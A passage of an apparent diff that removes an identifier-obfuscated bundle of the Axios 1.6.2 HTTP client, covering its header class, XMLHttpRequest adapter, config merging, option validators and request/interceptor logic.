- return _0x156071.exec(_0x3c17c6);
- }
- throw new TypeError("parser must be boolean|regexp|function");
- }
- }
- }
- has(_0x31c79d, _0x300b5c) {
- _0x31c79d = _0x1a2015(_0x31c79d);
- if (_0x31c79d) {
- const _0x1fb065 = _0x172845.findKey(this, _0x31c79d);
- return !(!_0x1fb065 || undefined === this[_0x1fb065] || _0x300b5c && !_0x20b28a(0, this[_0x1fb065], _0x1fb065, _0x300b5c));
- }
- return false;
- }
- delete(_0x3d939a, _0x44a082) {
- const _0x95b2eb = this;
- let _0xf66592 = false;
- function _0x2a0b8a(_0x405ee8) {
- _0x405ee8 = _0x1a2015(_0x405ee8);
- if (_0x405ee8) {
- const _0x5d7a31 = _0x172845.findKey(_0x95b2eb, _0x405ee8);
- !_0x5d7a31 || _0x44a082 && !_0x20b28a(0, _0x95b2eb[_0x5d7a31], _0x5d7a31, _0x44a082) || (delete _0x95b2eb[_0x5d7a31], _0xf66592 = true);
- }
- }
- _0x172845.isArray(_0x3d939a) ? _0x3d939a.forEach(_0x2a0b8a) : _0x2a0b8a(_0x3d939a);
- return _0xf66592;
- }
- clear(_0x2f1c55) {
- const _0x4d9404 = Object.keys(this);
- let _0x30a317 = _0x4d9404.length;
- let _0x2d5a57 = false;
- for (; _0x30a317--;) {
- const _0x2bfbad = _0x4d9404[_0x30a317];
- _0x2f1c55 && !_0x20b28a(0, this[_0x2bfbad], _0x2bfbad, _0x2f1c55, true) || (delete this[_0x2bfbad], _0x2d5a57 = true);
- }
- return _0x2d5a57;
- }
- normalize(_0x5b059e) {
- const _0x260ce3 = this;
- const _0x26d7d6 = {};
- _0x172845.forEach(this, (_0x58961c, _0x4d089a) => {
- const _0x8c79a3 = _0x172845.findKey(_0x26d7d6, _0x4d089a);
- if (_0x8c79a3) {
- _0x260ce3[_0x8c79a3] = _0x312283(_0x58961c);
- return void delete _0x260ce3[_0x4d089a];
- }
- const _0x13877e = _0x5b059e ? function (_0x2bcc6b) {
- return _0x2bcc6b.trim().toLowerCase().replace(/([a-z\d])(\w*)/g, (_0xf29c2e, _0x518e20, _0x561b62) => _0x518e20.toUpperCase() + _0x561b62);
- }(_0x4d089a) : String(_0x4d089a).trim();
- _0x13877e !== _0x4d089a && delete _0x260ce3[_0x4d089a];
- _0x260ce3[_0x13877e] = _0x312283(_0x58961c);
- _0x26d7d6[_0x13877e] = true;
- });
- return this;
- }
- concat(..._0xa856da) {
- return this.constructor.concat(this, ..._0xa856da);
- }
- toJSON(_0x2cbfd0) {
- const _0x486f44 = Object.create(null);
- _0x172845.forEach(this, (_0x1d1d57, _0x6a20eb) => {
- null != _0x1d1d57 && false !== _0x1d1d57 && (_0x486f44[_0x6a20eb] = _0x2cbfd0 && _0x172845.isArray(_0x1d1d57) ? _0x1d1d57.join(", ") : _0x1d1d57);
- });
- return _0x486f44;
- }
- [Symbol.iterator]() {
- return Object.entries(this.toJSON())[Symbol.iterator]();
- }
- toString() {
- return Object.entries(this.toJSON()).map(([_0xa78102, _0x4ba2f8]) => _0xa78102 + ": " + _0x4ba2f8).join("\n");
- }
- get [Symbol.toStringTag]() {
- return "AxiosHeaders";
- }
- static from(_0x166b90) {
- return _0x166b90 instanceof this ? _0x166b90 : new this(_0x166b90);
- }
- static concat(_0x4bfc62, ..._0x516c79) {
- const _0xdae61b = new this(_0x4bfc62);
- _0x516c79.forEach(_0x1e3d0a => _0xdae61b.set(_0x1e3d0a));
- return _0xdae61b;
- }
- static accessor(_0x4bc906) {
- const _0x1b3ea7 = (this[_0x4e8a57] = this[_0x4e8a57] = {
- accessors: {}
- }).accessors;
- const _0x286194 = this.prototype;
- function _0x34eba9(_0x40f717) {
- const _0xa39f8e = _0x1a2015(_0x40f717);
- _0x1b3ea7[_0xa39f8e] || (function (_0x4e0495, _0x143a15) {
- const _0x1c5165 = _0x172845.toCamelCase(" " + _0x143a15);
- ["get", "set", "has"].forEach(_0x5bca46 => {
- Object.defineProperty(_0x4e0495, _0x5bca46 + _0x1c5165, {
- value: function (_0x1bda66, _0x7d3e33, _0xa34a2b) {
- return this[_0x5bca46].call(this, _0x143a15, _0x1bda66, _0x7d3e33, _0xa34a2b);
- },
- configurable: true
- });
- });
- }(_0x286194, _0x40f717), _0x1b3ea7[_0xa39f8e] = true);
- }
- _0x172845.isArray(_0x4bc906) ? _0x4bc906.forEach(_0x34eba9) : _0x34eba9(_0x4bc906);
- return this;
- }
- }
- _0x223105.accessor(["Content-Type", "Content-Length", "Accept", "Accept-Encoding", "User-Agent", "Authorization"]);
- _0x172845.reduceDescriptors(_0x223105.prototype, ({
- value: _0x4f0835
- }, _0x2a1db6) => {
- let _0x3e762e = _0x2a1db6[0].toUpperCase() + _0x2a1db6.slice(1);
- return {
- get: () => _0x4f0835,
- set(_0x470a03) {
- this[_0x3e762e] = _0x470a03;
- }
- };
- });
- _0x172845.freezeMethods(_0x223105);
- const _0x33511f = _0x223105;
- function _0x5a3de1(_0x207189, _0x1818ae) {
- const _0x1b6e8f = this || _0x54860b;
- const _0x2a3306 = _0x1818ae || _0x1b6e8f;
- const _0x1b2109 = _0x33511f.from(_0x2a3306.headers);
- let _0x56d0e0 = _0x2a3306.data;
- _0x172845.forEach(_0x207189, function (_0x552db8) {
- _0x56d0e0 = _0x552db8.call(_0x1b6e8f, _0x56d0e0, _0x1b2109.normalize(), _0x1818ae ? _0x1818ae.status : undefined);
- });
- _0x1b2109.normalize();
- return _0x56d0e0;
- }
- function _0x44f121(_0x146138) {
- return !(!_0x146138 || !_0x146138.__CANCEL__);
- }
- function _0x5c1c13(_0x58a27b, _0x49b505, _0x1b50b1) {
- _0x1a4a45.call(this, null == _0x58a27b ? "canceled" : _0x58a27b, _0x1a4a45.ERR_CANCELED, _0x49b505, _0x1b50b1);
- this.name = "CanceledError";
- }
- _0x172845.inherits(_0x5c1c13, _0x1a4a45, {
- __CANCEL__: true
- });
- const _0x5c9f1a = _0x5c1c13;
- const _0x4a1fbe = _0xc8d0ab.hasStandardBrowserEnv ? {
- write(_0x4318b9, _0x5cd2e4, _0x61a80, _0x3fdab2, _0x226d18, _0x188124) {
- const _0x293fba = [_0x4318b9 + "=" + encodeURIComponent(_0x5cd2e4)];
- _0x172845.isNumber(_0x61a80) && _0x293fba.push("expires=" + new Date(_0x61a80).toGMTString());
- _0x172845.isString(_0x3fdab2) && _0x293fba.push("path=" + _0x3fdab2);
- _0x172845.isString(_0x226d18) && _0x293fba.push("domain=" + _0x226d18);
- true === _0x188124 && _0x293fba.push("secure");
- document.cookie = _0x293fba.join("; ");
- },
- read(_0x2a4c34) {
- const _0x1fa1df = document.cookie.match(new RegExp("(^|;\\s*)(" + _0x2a4c34 + ")=([^;]*)"));
- return _0x1fa1df ? decodeURIComponent(_0x1fa1df[3]) : null;
- },
- remove(_0x5e5b0a) {
- this.write(_0x5e5b0a, "", Date.now() - 86400000);
- }
- } : {
- write() {},
- read: () => null,
- remove() {}
- };
- function _0x35b9b4(_0x3c8fb3, _0x299252) {
- return _0x3c8fb3 && !/^([a-z][a-z\d+\-.]*:)?\/\//i.test(_0x299252) ? function (_0x1daf77, _0x42693a) {
- return _0x42693a ? _0x1daf77.replace(/\/+$/, "") + "/" + _0x42693a.replace(/^\/+/, "") : _0x1daf77;
- }(_0x3c8fb3, _0x299252) : _0x299252;
- }
- const _0x5c289a = _0xc8d0ab.hasStandardBrowserEnv ? function () {
- const _0x806b5d = /(msie|trident)/i.test(navigator.userAgent);
- const _0x18759e = document.createElement("a");
- let _0x56f3c2;
- function _0x18821f(_0x496199) {
- let _0xe12e33 = _0x496199;
- _0x806b5d && (_0x18759e.setAttribute("href", _0xe12e33), _0xe12e33 = _0x18759e.href);
- _0x18759e.setAttribute("href", _0xe12e33);
- return {
- href: _0x18759e.href,
- protocol: _0x18759e.protocol ? _0x18759e.protocol.replace(/:$/, "") : "",
- host: _0x18759e.host,
- search: _0x18759e.search ? _0x18759e.search.replace(/^\?/, "") : "",
- hash: _0x18759e.hash ? _0x18759e.hash.replace(/^#/, "") : "",
- hostname: _0x18759e.hostname,
- port: _0x18759e.port,
- pathname: "/" === _0x18759e.pathname.charAt(0) ? _0x18759e.pathname : "/" + _0x18759e.pathname
- };
- }
- _0x56f3c2 = _0x18821f(window.location.href);
- return function (_0x4c765d) {
- const _0x23571f = _0x172845.isString(_0x4c765d) ? _0x18821f(_0x4c765d) : _0x4c765d;
- return _0x23571f.protocol === _0x56f3c2.protocol && _0x23571f.host === _0x56f3c2.host;
- };
- }() : function () {
- return true;
- };
- const _0x360600 = function (_0x17b908, _0x471df4) {
- _0x17b908 = _0x17b908 || 10;
- const _0x496cd5 = new Array(_0x17b908);
- const _0x3df2d3 = new Array(_0x17b908);
- let _0x10922f;
- let _0x5e995e = 0;
- let _0x18366c = 0;
- _0x471df4 = undefined !== _0x471df4 ? _0x471df4 : 1000;
- return function (_0x1ce021) {
- const _0x14c776 = Date.now();
- const _0x3e1f7e = _0x3df2d3[_0x18366c];
- _0x10922f || (_0x10922f = _0x14c776);
- _0x496cd5[_0x5e995e] = _0x1ce021;
- _0x3df2d3[_0x5e995e] = _0x14c776;
- let _0x27decb = _0x18366c;
- let _0x4c4d35 = 0;
- for (; _0x27decb !== _0x5e995e;) {
- _0x4c4d35 += _0x496cd5[_0x27decb++];
- _0x27decb %= _0x17b908;
- }
- if (_0x5e995e = (_0x5e995e + 1) % _0x17b908, _0x5e995e === _0x18366c && (_0x18366c = (_0x18366c + 1) % _0x17b908), _0x14c776 - _0x10922f < _0x471df4) {
- return;
- }
- const _0x530107 = _0x3e1f7e && _0x14c776 - _0x3e1f7e;
- return _0x530107 ? Math.round(1000 * _0x4c4d35 / _0x530107) : undefined;
- };
- };
- function _0x40a90f(_0x29d7dc, _0xfccaaf) {
- let _0x3ee3a6 = 0;
- const _0x163baf = _0x360600(50, 250);
- return _0x369f85 => {
- const _0xbd605c = _0x369f85.loaded;
- const _0x2ac1f5 = _0x369f85.lengthComputable ? _0x369f85.total : undefined;
- const _0x27ba5a = _0xbd605c - _0x3ee3a6;
- const _0x323119 = _0x163baf(_0x27ba5a);
- _0x3ee3a6 = _0xbd605c;
- const _0x2add69 = {
- loaded: _0xbd605c,
- total: _0x2ac1f5,
- progress: _0x2ac1f5 ? _0xbd605c / _0x2ac1f5 : undefined,
- bytes: _0x27ba5a,
- rate: _0x323119 || undefined,
- estimated: _0x323119 && _0x2ac1f5 && _0xbd605c <= _0x2ac1f5 ? (_0x2ac1f5 - _0xbd605c) / _0x323119 : undefined,
- event: _0x369f85
- };
- _0x2add69[_0xfccaaf ? "download" : "upload"] = true;
- _0x29d7dc(_0x2add69);
- };
- }
- const _0x3f3862 = {
- http: null,
- xhr: "undefined" != typeof XMLHttpRequest && function (_0x475851) {
- return new Promise(function (_0x4690dd, _0x4a919b) {
- let _0x15a45d = _0x475851.data;
- const _0x5afbaa = _0x33511f.from(_0x475851.headers).normalize();
- let _0x44ab31;
- let _0x131fe5;
- let {
- responseType: _0x38a332,
- withXSRFToken: _0x5a5e86
- } = _0x475851;
- function _0x37459a() {
- _0x475851.cancelToken && _0x475851.cancelToken.unsubscribe(_0x44ab31);
- _0x475851.signal && _0x475851.signal.removeEventListener("abort", _0x44ab31);
- }
- if (_0x172845.isFormData(_0x15a45d)) {
- if (_0xc8d0ab.hasStandardBrowserEnv || _0xc8d0ab.hasStandardBrowserWebWorkerEnv) {
- _0x5afbaa.setContentType(false);
- } else {
- if (false !== (_0x131fe5 = _0x5afbaa.getContentType())) {
- const [_0x2f1530, ..._0x52c47c] = _0x131fe5 ? _0x131fe5.split(";").map(_0x4a081a => _0x4a081a.trim()).filter(Boolean) : [];
- _0x5afbaa.setContentType([_0x2f1530 || "multipart/form-data", ..._0x52c47c].join("; "));
- }
- }
- }
- let _0xb37dd6 = new XMLHttpRequest();
- if (_0x475851.auth) {
- const _0x29ce6e = _0x475851.auth.username || "";
- const _0x2159a3 = _0x475851.auth.password ? unescape(encodeURIComponent(_0x475851.auth.password)) : "";
- _0x5afbaa.set("Authorization", "Basic " + btoa(_0x29ce6e + ":" + _0x2159a3));
- }
- const _0x303936 = _0x35b9b4(_0x475851.baseURL, _0x475851.url);
- function _0x4843a0() {
- if (!_0xb37dd6) {
- return;
- }
- const _0x125376 = _0x33511f.from("getAllResponseHeaders" in _0xb37dd6 && _0xb37dd6.getAllResponseHeaders());
- !function (_0x216245, _0x37b34f, _0x39f453) {
- const _0x30b5f0 = _0x39f453.config.validateStatus;
- _0x39f453.status && _0x30b5f0 && !_0x30b5f0(_0x39f453.status) ? _0x37b34f(new _0x1a4a45("Request failed with status code " + _0x39f453.status, [_0x1a4a45.ERR_BAD_REQUEST, _0x1a4a45.ERR_BAD_RESPONSE][Math.floor(_0x39f453.status / 100) - 4], _0x39f453.config, _0x39f453.request, _0x39f453)) : _0x216245(_0x39f453);
- }(function (_0x456d5b) {
- _0x4690dd(_0x456d5b);
- _0x37459a();
- }, function (_0xbc7812) {
- _0x4a919b(_0xbc7812);
- _0x37459a();
- }, {
- data: _0x38a332 && "text" !== _0x38a332 && "json" !== _0x38a332 ? _0xb37dd6.response : _0xb37dd6.responseText,
- status: _0xb37dd6.status,
- statusText: _0xb37dd6.statusText,
- headers: _0x125376,
- config: _0x475851,
- request: _0xb37dd6
- });
- _0xb37dd6 = null;
- }
- if (_0xb37dd6.open(_0x475851.method.toUpperCase(), _0x3c81fd(_0x303936, _0x475851.params, _0x475851.paramsSerializer), true), _0xb37dd6.timeout = _0x475851.timeout, "onloadend" in _0xb37dd6 ? _0xb37dd6.onloadend = _0x4843a0 : _0xb37dd6.onreadystatechange = function () {
- _0xb37dd6 && 4 === _0xb37dd6.readyState && (0 !== _0xb37dd6.status || _0xb37dd6.responseURL && 0 === _0xb37dd6.responseURL.indexOf("file:")) && setTimeout(_0x4843a0);
- }, _0xb37dd6.onabort = function () {
- _0xb37dd6 && (_0x4a919b(new _0x1a4a45("Request aborted", _0x1a4a45.ECONNABORTED, _0x475851, _0xb37dd6)), _0xb37dd6 = null);
- }, _0xb37dd6.onerror = function () {
- _0x4a919b(new _0x1a4a45("Network Error", _0x1a4a45.ERR_NETWORK, _0x475851, _0xb37dd6));
- _0xb37dd6 = null;
- }, _0xb37dd6.ontimeout = function () {
- let _0x4f63cb = _0x475851.timeout ? "timeout of " + _0x475851.timeout + "ms exceeded" : "timeout exceeded";
- const _0x1a0bcc = _0x475851.transitional || _0x14dbce;
- _0x475851.timeoutErrorMessage && (_0x4f63cb = _0x475851.timeoutErrorMessage);
- _0x4a919b(new _0x1a4a45(_0x4f63cb, _0x1a0bcc.clarifyTimeoutError ? _0x1a4a45.ETIMEDOUT : _0x1a4a45.ECONNABORTED, _0x475851, _0xb37dd6));
- _0xb37dd6 = null;
- }, _0xc8d0ab.hasStandardBrowserEnv && (_0x5a5e86 && _0x172845.isFunction(_0x5a5e86) && (_0x5a5e86 = _0x5a5e86(_0x475851)), _0x5a5e86 || false !== _0x5a5e86 && _0x5c289a(_0x303936))) {
- const _0x3f60cf = _0x475851.xsrfHeaderName && _0x475851.xsrfCookieName && _0x4a1fbe.read(_0x475851.xsrfCookieName);
- _0x3f60cf && _0x5afbaa.set(_0x475851.xsrfHeaderName, _0x3f60cf);
- }
- undefined === _0x15a45d && _0x5afbaa.setContentType(null);
- "setRequestHeader" in _0xb37dd6 && _0x172845.forEach(_0x5afbaa.toJSON(), function (_0x33f807, _0x148955) {
- _0xb37dd6.setRequestHeader(_0x148955, _0x33f807);
- });
- _0x172845.isUndefined(_0x475851.withCredentials) || (_0xb37dd6.withCredentials = !!_0x475851.withCredentials);
- _0x38a332 && "json" !== _0x38a332 && (_0xb37dd6.responseType = _0x475851.responseType);
- "function" == typeof _0x475851.onDownloadProgress && _0xb37dd6.addEventListener("progress", _0x40a90f(_0x475851.onDownloadProgress, true));
- "function" == typeof _0x475851.onUploadProgress && _0xb37dd6.upload && _0xb37dd6.upload.addEventListener("progress", _0x40a90f(_0x475851.onUploadProgress));
- (_0x475851.cancelToken || _0x475851.signal) && (_0x44ab31 = _0xb5552d => {
- _0xb37dd6 && (_0x4a919b(!_0xb5552d || _0xb5552d.type ? new _0x5c9f1a(null, _0x475851, _0xb37dd6) : _0xb5552d), _0xb37dd6.abort(), _0xb37dd6 = null);
- }, _0x475851.cancelToken && _0x475851.cancelToken.subscribe(_0x44ab31), _0x475851.signal && (_0x475851.signal.aborted ? _0x44ab31() : _0x475851.signal.addEventListener("abort", _0x44ab31)));
- const _0x6b1f53 = function (_0xf7bb69) {
- const _0x326dac = /^([-+\w]{1,25})(:?\/\/|:)/.exec(_0xf7bb69);
- return _0x326dac && _0x326dac[1] || "";
- }(_0x303936);
- _0x6b1f53 && -1 === _0xc8d0ab.protocols.indexOf(_0x6b1f53) ? _0x4a919b(new _0x1a4a45("Unsupported protocol " + _0x6b1f53 + ":", _0x1a4a45.ERR_BAD_REQUEST, _0x475851)) : _0xb37dd6.send(_0x15a45d || null);
- });
- }
- };
- _0x172845.forEach(_0x3f3862, (_0x30b309, _0x449755) => {
- if (_0x30b309) {
- try {
- Object.defineProperty(_0x30b309, "name", {
- value: _0x449755
- });
- } catch (_0x3547c5) {}
- Object.defineProperty(_0x30b309, "adapterName", {
- value: _0x449755
- });
- }
- });
- const _0x82c5fe = _0x55a1b4 => "- " + _0x55a1b4;
- const _0x1c921a = _0x19d884 => _0x172845.isFunction(_0x19d884) || null === _0x19d884 || false === _0x19d884;
- const _0x58dcf9 = {
- getAdapter: _0x3f96f3 => {
- _0x3f96f3 = _0x172845.isArray(_0x3f96f3) ? _0x3f96f3 : [_0x3f96f3];
- const {
- length: _0x34ddaa
- } = _0x3f96f3;
- let _0x183b9e;
- let _0x230a76;
- const _0xe60a03 = {};
- for (let _0x256f5b = 0; _0x256f5b < _0x34ddaa; _0x256f5b++) {
- let _0x3e4c04;
- if (_0x183b9e = _0x3f96f3[_0x256f5b], _0x230a76 = _0x183b9e, !_0x1c921a(_0x183b9e) && (_0x230a76 = _0x3f3862[(_0x3e4c04 = String(_0x183b9e)).toLowerCase()], undefined === _0x230a76)) {
- throw new _0x1a4a45("Unknown adapter '" + _0x3e4c04 + "'");
- }
- if (_0x230a76) {
- break;
- }
- _0xe60a03[_0x3e4c04 || "#" + _0x256f5b] = _0x230a76;
- }
- if (!_0x230a76) {
- const _0xd7f132 = Object.entries(_0xe60a03).map(([_0x28da05, _0x384288]) => "adapter " + _0x28da05 + " " + (false === _0x384288 ? "is not supported by the environment" : "is not available in the build"));
- let _0x32f00d = _0x34ddaa ? _0xd7f132.length > 1 ? "since :\n" + _0xd7f132.map(_0x82c5fe).join("\n") : " " + _0x82c5fe(_0xd7f132[0]) : "as no adapter specified";
- throw new _0x1a4a45("There is no suitable adapter to dispatch the request " + _0x32f00d, "ERR_NOT_SUPPORT");
- }
- return _0x230a76;
- },
- adapters: _0x3f3862
- };
- function _0x13d50d(_0xbf30a5) {
- if (_0xbf30a5.cancelToken && _0xbf30a5.cancelToken.throwIfRequested(), _0xbf30a5.signal && _0xbf30a5.signal.aborted) {
- throw new _0x5c9f1a(null, _0xbf30a5);
- }
- }
- function _0x271254(_0x2a5cda) {
- _0x13d50d(_0x2a5cda);
- _0x2a5cda.headers = _0x33511f.from(_0x2a5cda.headers);
- _0x2a5cda.data = _0x5a3de1.call(_0x2a5cda, _0x2a5cda.transformRequest);
- -1 !== ["post", "put", "patch"].indexOf(_0x2a5cda.method) && _0x2a5cda.headers.setContentType("application/x-www-form-urlencoded", false);
- return _0x58dcf9.getAdapter(_0x2a5cda.adapter || _0x54860b.adapter)(_0x2a5cda).then(function (_0x29593a) {
- _0x13d50d(_0x2a5cda);
- _0x29593a.data = _0x5a3de1.call(_0x2a5cda, _0x2a5cda.transformResponse, _0x29593a);
- _0x29593a.headers = _0x33511f.from(_0x29593a.headers);
- return _0x29593a;
- }, function (_0x2cf596) {
- _0x44f121(_0x2cf596) || (_0x13d50d(_0x2a5cda), _0x2cf596 && _0x2cf596.response && (_0x2cf596.response.data = _0x5a3de1.call(_0x2a5cda, _0x2a5cda.transformResponse, _0x2cf596.response), _0x2cf596.response.headers = _0x33511f.from(_0x2cf596.response.headers)));
- return Promise.reject(_0x2cf596);
- });
- }
- const _0x11373b = _0x460e77 => _0x460e77 instanceof _0x33511f ? _0x460e77.toJSON() : _0x460e77;
- function _0x5ee785(_0x4db9d4, _0x110abc) {
- _0x110abc = _0x110abc || {};
- const _0x46276d = {};
- function _0x3d8c9b(_0x40c4bf, _0x1ff294, _0x1912f5) {
- return _0x172845.isPlainObject(_0x40c4bf) && _0x172845.isPlainObject(_0x1ff294) ? _0x172845.merge.call({
- caseless: _0x1912f5
- }, _0x40c4bf, _0x1ff294) : _0x172845.isPlainObject(_0x1ff294) ? _0x172845.merge({}, _0x1ff294) : _0x172845.isArray(_0x1ff294) ? _0x1ff294.slice() : _0x1ff294;
- }
- function _0x3863fe(_0x547415, _0x1bad6a, _0x16ddd5) {
- return _0x172845.isUndefined(_0x1bad6a) ? _0x172845.isUndefined(_0x547415) ? undefined : _0x3d8c9b(undefined, _0x547415, _0x16ddd5) : _0x3d8c9b(_0x547415, _0x1bad6a, _0x16ddd5);
- }
- function _0x4e22bb(_0x4c105c, _0x5d2b6b) {
- if (!_0x172845.isUndefined(_0x5d2b6b)) {
- return _0x3d8c9b(undefined, _0x5d2b6b);
- }
- }
- function _0x42bd1d(_0x167a0d, _0x42599d) {
- return _0x172845.isUndefined(_0x42599d) ? _0x172845.isUndefined(_0x167a0d) ? undefined : _0x3d8c9b(undefined, _0x167a0d) : _0x3d8c9b(undefined, _0x42599d);
- }
- function _0x3d5c3c(_0x4603eb, _0x1ebfca, _0xb2ac7f) {
- return _0xb2ac7f in _0x110abc ? _0x3d8c9b(_0x4603eb, _0x1ebfca) : _0xb2ac7f in _0x4db9d4 ? _0x3d8c9b(undefined, _0x4603eb) : undefined;
- }
- const _0x654886 = {
- url: _0x4e22bb,
- method: _0x4e22bb,
- data: _0x4e22bb,
- baseURL: _0x42bd1d,
- transformRequest: _0x42bd1d,
- transformResponse: _0x42bd1d,
- paramsSerializer: _0x42bd1d,
- timeout: _0x42bd1d,
- timeoutMessage: _0x42bd1d,
- withCredentials: _0x42bd1d,
- withXSRFToken: _0x42bd1d,
- adapter: _0x42bd1d,
- responseType: _0x42bd1d,
- xsrfCookieName: _0x42bd1d,
- xsrfHeaderName: _0x42bd1d,
- onUploadProgress: _0x42bd1d,
- onDownloadProgress: _0x42bd1d,
- decompress: _0x42bd1d,
- maxContentLength: _0x42bd1d,
- maxBodyLength: _0x42bd1d,
- beforeRedirect: _0x42bd1d,
- transport: _0x42bd1d,
- httpAgent: _0x42bd1d,
- httpsAgent: _0x42bd1d,
- cancelToken: _0x42bd1d,
- socketPath: _0x42bd1d,
- responseEncoding: _0x42bd1d,
- validateStatus: _0x3d5c3c,
- headers: (_0x428910, _0x24b7f6) => _0x3863fe(_0x11373b(_0x428910), _0x11373b(_0x24b7f6), true)
- };
- _0x172845.forEach(Object.keys(Object.assign({}, _0x4db9d4, _0x110abc)), function (_0x55b556) {
- const _0x46ac96 = _0x654886[_0x55b556] || _0x3863fe;
- const _0x393205 = _0x46ac96(_0x4db9d4[_0x55b556], _0x110abc[_0x55b556], _0x55b556);
- _0x172845.isUndefined(_0x393205) && _0x46ac96 !== _0x3d5c3c || (_0x46276d[_0x55b556] = _0x393205);
- });
- return _0x46276d;
- }
- const _0x330903 = "1.6.2";
- const _0x452d37 = {};
- ["object", "boolean", "number", "function", "string", "symbol"].forEach((_0x594443, _0x1274ae) => {
- _0x452d37[_0x594443] = function (_0x1fc1c3) {
- return typeof _0x1fc1c3 === _0x594443 || "a" + (_0x1274ae < 1 ? "n " : " ") + _0x594443;
- };
- });
- const _0x48ce74 = {};
- _0x452d37.transitional = function (_0x4442cc, _0x4cd1f3, _0x4989f3) {
- function _0x5b63bb(_0xe2c866, _0x343ab4) {
- return "[Axios v" + _0x330903 + "] Transitional option '" + _0xe2c866 + "'" + _0x343ab4 + (_0x4989f3 ? ". " + _0x4989f3 : "");
- }
- return (_0x2b023e, _0x2753f9, _0x340d5d) => {
- if (false === _0x4442cc) {
- throw new _0x1a4a45(_0x5b63bb(_0x2753f9, " has been removed" + (_0x4cd1f3 ? " in " + _0x4cd1f3 : "")), _0x1a4a45.ERR_DEPRECATED);
- }
- _0x4cd1f3 && !_0x48ce74[_0x2753f9] && (_0x48ce74[_0x2753f9] = true, console.warn(_0x5b63bb(_0x2753f9, " has been deprecated since v" + _0x4cd1f3 + " and will be removed in the near future")));
- return !_0x4442cc || _0x4442cc(_0x2b023e, _0x2753f9, _0x340d5d);
- };
- };
- const _0x5920e6 = {
- assertOptions: function (_0x1e2eea, _0x391cae, _0x4f8854) {
- if ("object" != typeof _0x1e2eea) {
- throw new _0x1a4a45("options must be an object", _0x1a4a45.ERR_BAD_OPTION_VALUE);
- }
- const _0x57c562 = Object.keys(_0x1e2eea);
- let _0xb3e731 = _0x57c562.length;
- for (; _0xb3e731-- > 0;) {
- const _0x3935c1 = _0x57c562[_0xb3e731];
- const _0x5b4470 = _0x391cae[_0x3935c1];
- if (_0x5b4470) {
- const _0x55d27f = _0x1e2eea[_0x3935c1];
- const _0x4a881e = undefined === _0x55d27f || _0x5b4470(_0x55d27f, _0x3935c1, _0x1e2eea);
- if (true !== _0x4a881e) {
- throw new _0x1a4a45("option " + _0x3935c1 + " must be " + _0x4a881e, _0x1a4a45.ERR_BAD_OPTION_VALUE);
- }
- } else {
- if (true !== _0x4f8854) {
- throw new _0x1a4a45("Unknown option " + _0x3935c1, _0x1a4a45.ERR_BAD_OPTION);
- }
- }
- }
- },
- validators: _0x452d37
- };
- const _0x100e89 = _0x5920e6.validators;
- class _0x3ff7c8 {
- constructor(_0x1cef82) {
- this.defaults = _0x1cef82;
- this.interceptors = {
- request: new _0x1de20d(),
- response: new _0x1de20d()
- };
- }
- request(_0x2dee65, _0x1633e7) {
- "string" == typeof _0x2dee65 ? (_0x1633e7 = _0x1633e7 || {}).url = _0x2dee65 : _0x1633e7 = _0x2dee65 || {};
- _0x1633e7 = _0x5ee785(this.defaults, _0x1633e7);
- const {
- transitional: _0x69208f,
- paramsSerializer: _0x1a048e,
- headers: _0x3fd137
- } = _0x1633e7;
- undefined !== _0x69208f && _0x5920e6.assertOptions(_0x69208f, {
- silentJSONParsing: _0x100e89.transitional(_0x100e89.boolean),
- forcedJSONParsing: _0x100e89.transitional(_0x100e89.boolean),
- clarifyTimeoutError: _0x100e89.transitional(_0x100e89.boolean)
- }, false);
- null != _0x1a048e && (_0x172845.isFunction(_0x1a048e) ? _0x1633e7.paramsSerializer = {
- serialize: _0x1a048e
- } : _0x5920e6.assertOptions(_0x1a048e, {
- encode: _0x100e89.function,
- serialize: _0x100e89.function
- }, true));
- _0x1633e7.method = (_0x1633e7.method || this.defaults.method || "get").toLowerCase();
- let _0x3b2d20 = _0x3fd137 && _0x172845.merge(_0x3fd137.common, _0x3fd137[_0x1633e7.method]);
- _0x3fd137 && _0x172845.forEach(["delete", "get", "head", "post", "put", "patch", "common"], _0x5ae64a => {
- delete _0x3fd137[_0x5ae64a];
- });
- _0x1633e7.headers = _0x33511f.concat(_0x3b2d20, _0x3fd137);
- const _0x740361 = [];
- let _0x26e2f7 = true;
- this.interceptors.request.forEach(function (_0x43619f) {
- "function" == typeof _0x43619f.runWhen && false === _0x43619f.runWhen(_0x1633e7) || (_0x26e2f7 = _0x26e2f7 && _0x43619f.synchronous, _0x740361.unshift(_0x43619f.fulfilled, _0x43619f.rejected));
- });
- const _0x1c0d8e = [];
- let _0x138098;
- this.interceptors.response.forEach(function (_0x3da4ec) {
- _0x1c0d8e.push(_0x3da4ec.fulfilled, _0x3da4ec.rejected);
- });
- let _0x1db83b;
- let _0xc39092 = 0;
- if (!_0x26e2f7) {
- const _0x1c9124 = [_0x271254.bind(this), undefined];
- for (_0x1c9124.unshift.apply(_0x1c9124, _0x740361), _0x1c9124.push.apply(_0x1c9124, _0x1c0d8e), _0x1db83b = _0x1c9124.length, _0x138098 = Promise.resolve(_0x1633e7); _0xc39092 < _0x1db83b;) {
- _0x138098 = _0x138098.then(_0x1c9124[_0xc39092++], _0x1c9124[_0xc39092++]);
- }
- return _0x138098;
- }
- _0x1db83b = _0x740361.length;
- let _0x29cb84 = _0x1633e7;
- for (_0xc39092 = 0; _0xc39092 < _0x1db83b;) {
- const _0x1a05d5 = _0x740361[_0xc39092++];
- const _0x4bd5c9 = _0x740361[_0xc39092++];
- try {
- _0x29cb84 = _0x1a05d5(_0x29cb84);
- } catch (_0x554667) {
- _0x4bd5c9.call(this, _0x554667);
- break;
- }
- }
- try {
- _0x138098 = _0x271254.call(this, _0x29cb84);
- } catch (_0x46910c) {
- return Promise.reject(_0x46910c);
- }
- for (_0xc39092 = 0, _0x1db83b = _0x1c0d8e.length; _0xc39092 < _0x1db83b;) {
- _0x138098 = _0x138098.then(_0x1c0d8e[_0xc39092++], _0x1c0d8e[_0xc39092++]);
- }
- return _0x138098;
- }
- getUri(_0x344189) {
- return _0x3c81fd(_0x35b9b4((_0x344189 = _0x5ee785(this.defaults, _0x344189)).baseURL, _0x344189.url), _0x344189.params, _0x344189.paramsSerializer);
- }
- }
- _0x172845.forEach(["delete", "get", "head", "options"], function (_0x195ea1) {
- _0x3ff7c8.prototype[_0x195ea1] = function (_0x316773, _0x5d2dc7) {
- return this.request(_0x5ee785(_0x5d2dc7 || {}, {
- method: _0x195ea1,
- url: _0x316773,
- data: (_0x5d2dc7 || {}).data
- }));
- };
- });
- _0x172845.forEach(["post", "put", "patch"], function (_0x120778) {
- function _0x3d7a14(_0x29711e) {
